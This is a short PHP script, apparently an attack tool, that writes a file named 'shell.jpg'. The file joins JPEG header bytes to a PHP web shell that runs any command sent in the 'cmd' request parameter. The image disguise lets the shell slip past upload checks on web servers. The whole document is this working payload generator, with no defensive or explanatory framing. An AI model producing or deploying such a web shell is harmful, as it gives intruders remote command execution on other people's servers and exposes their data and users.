// Create a PHP shell payload
$phpCode = ' if (isset($_GET["cmd"])) { echo "<pre>"; system($_GET["cmd"]); echo "</pre>"; } ';

// JPEG header bytes for a valid image
$jpegHeader = "\xFF\xD8\xFF\xE0";

// Combine header + PHP code
file_put_contents("shell.jpg", $jpegHeader . $phpCode);

echo "shell.jpg created successfully.";